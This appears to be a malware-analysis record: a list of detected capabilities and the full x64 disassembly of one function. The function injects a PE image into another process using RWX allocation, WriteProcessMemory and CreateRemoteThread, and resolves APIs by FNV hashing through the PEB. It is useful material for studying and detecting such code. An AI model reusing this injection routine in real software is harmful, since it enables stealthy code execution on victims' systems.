Function at 0x14005b700
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Create thread
Encode data using xor
Execute shellcode via indirect call
Hash data using fnv
Inject thread
Resolve function by parsing pe exports
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x10a0
call fcn.140214690
sub rsp, rax
mov rax, qword [0x14031f5d0]
xor rax, rsp
mov qword [rsp + 0x1090], rax
mov eax, 0x5a4d
mov r15, rdx
mov rbp, rcx
cmp word [rdx], ax
jne 0x14005b8b6
movsxd r14, dword [rdx + 0x3c]
mov eax, 0x8664
add r14, rdx
cmp word [r14 + 4], ax
jne 0x14005b8b6
mov r8d, dword [r14 + 0x50]
xor edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r12, rax
test rax, rax
je 0x14005b8b6
mov rcx, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor esi, esi
mov qword [rsp + 0x48], rcx
mov r9d, 0x1000
mov rcx, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r8, r15
mov qword [rsp + 0x50], rcx
mov rdx, rax
mov rcx, rbp
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14005b8be
movzx ebx, word [r14 + 0x14]
mov edi, esi
add rbx, 0x2c
cmp word [r14 + 6], si
je 0x14005b81b
add rbx, r14
nop dword [rax + rax]
mov eax, dword [rbx - 4]
test eax, eax
je 0x14005b80c
mov r8d, dword [rbx]
mov r9d, eax
mov edx, dword [rbx - 8]
add r8, r15
add rdx, r12
mov qword [rsp + 0x20], rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14005b8eb
movzx eax, word [r14 + 6]
inc edi
add rbx, 0x28
cmp edi, eax
jne 0x14005b7e0
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov rcx, rbp
lea r8d, [rdx + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r13, rax
test rax, rax
je 0x14005b8b6
mov r9d, reloc.WLDAP32.dll_Ordinal_32
mov qword [rsp + 0x20], rsi
lea r8, [rsp + 0x48]
mov rdx, rax
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14005b8b6
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x40], rax
mov rbx, rax
mov rcx, rbp
test rax, rax
jne 0x14005b90a
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r12
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, r15
call fcn.140213990
xor al, al
mov rcx, qword [rsp + 0x1090]
xor rcx, rsp
call fcn.140213970
mov rbx, qword [rsp + 0x10f0]
add rsp, 0x10a0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov rcx, r15
call fcn.140213990
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r12
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x14005b8be
mov r9d, 0x1000
mov qword [rsp + 0x20], rsi
lea r8, [0x14005bda0]
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14005b8b6
mov qword [rsp + 0x30], rsi
mov r9, rbx
mov dword [rsp + 0x28], esi
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r13
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rsi, rax
test rax, rax
jne 0x14005b98b
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r12
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rbx
jmp 0x14005b8ad
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14005ba17
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14005ba17
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x6dd87433
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005ba12
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005b9f0
cmp r8d, 0x43503807
je 0x14005ba1c
test r9d, r9d
jne 0x14005b9d0
mov rax, qword [rax]
jmp 0x14005b9a0
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
mov rcx, rsi
add rax, r10
call rax
nop dword [rax + rax]
xor ebx, ebx
lea rdx, [rsp + 0x88]
mov rcx, rbp
mov dword [rsp + 0x88], ebx
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
cmp dword [rsp + 0x88], 0x103
jne 0x14005b8b6
xorps xmm0, xmm0
mov qword [rsp + 0x20], rbx
lea r9d, [rbx + 0x20]
mov rdx, r13
lea r8, [rsp + 0x68]
mov rcx, rbp
movups xmmword [rsp + 0x68], xmm0
movups xmmword [rsp + 0x78], xmm0
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rsi, qword [rsp + 0x80]
cmp rsi, 0x404040
je 0x14005b8b6
cmp rsi, 0x606060
je 0x14005b8b6
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14005bb47
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14005bb47
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x2ba6fca7
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005bb42
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005bb20
cmp r8d, 0x8bbf04a
je 0x14005bb4c
test r9d, r9d
jne 0x14005bb00
mov rax, qword [rax]
jmp 0x14005bad0
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
mov ecx, 0xa
add rax, r10
call rax
test rsi, rsi
je 0x14005ba40
xor edx, edx
lea rcx, [rsp + 0x90]
mov r8d, 0x1000
call fcn.140216330
mov r9d, 0x1000
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x90]
mov rdx, r12
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, 0x100000
call fcn.140222d14
mov rsi, rax
test rax, rax
je 0x14005b8b6
xor edx, edx
mov r8d, 0x100000
mov rcx, rax
call fcn.140216330
movzx ebx, word [r14 + 0x14]
xor edi, edi
add rbx, 0x18
add rbx, r14
cmp word [r14 + 6], di
je 0x14005bcaa
lea r8, [0x1402f5728]
lea r9, str..rsrc
lea r10, str..reloc
nop
mov edx, dword [rbx + 0x10]
test edx, edx
je 0x14005bc97
xor ecx, ecx
nop dword [rax]
movzx eax, byte [rbx + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x14005bc26
cmp rcx, 7
jne 0x14005bc10
jmp 0x14005bc64
xor ecx, ecx
nop dword [rax + rax]
movzx eax, byte [rbx + rcx]
inc rcx
cmp al, byte [r9 + rcx - 1]
jne 0x14005bc46
cmp rcx, 6
jne 0x14005bc30
jmp 0x14005bc64
xor ecx, ecx
nop dword [rax + rax]
movzx eax, byte [rbx + rcx]
inc rcx
cmp al, byte [r10 + rcx - 1]
jne 0x14005bc97
cmp rcx, 7
jne 0x14005bc50
mov r9, rdx
mov qword [rsp + 0x20], 0
mov edx, dword [rbx + 0xc]
mov r8, rsi
add rdx, r12
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea r8, [0x1402f5728]
lea r9, str..rsrc
lea r10, str..reloc
movzx eax, word [r14 + 6]
inc edi
add rbx, 0x28
cmp edi, eax
jne 0x14005bc00
mov rcx, r15
call fcn.140213990
mov rdx, qword [rsp + 0x40]
mov r9d, 0x8000
xor r8d, r8d
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14005bd67
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14005bd67
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xd0384682
lea rcx, [r10 + r9*4]
mov ecx, dword [rcx + rdi]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x14005bd62
nop dword [rax]
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x14005bd40
cmp r8d, 0x52d335a5
je 0x14005bd6c
test r9d, r9d
jne 0x14005bd20
mov rax, qword [rax]
jmp 0x14005bcf0
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
mov ecx, 0x1f4
add rax, r10
call rax
mov al, 1
jmp 0x14005b8c0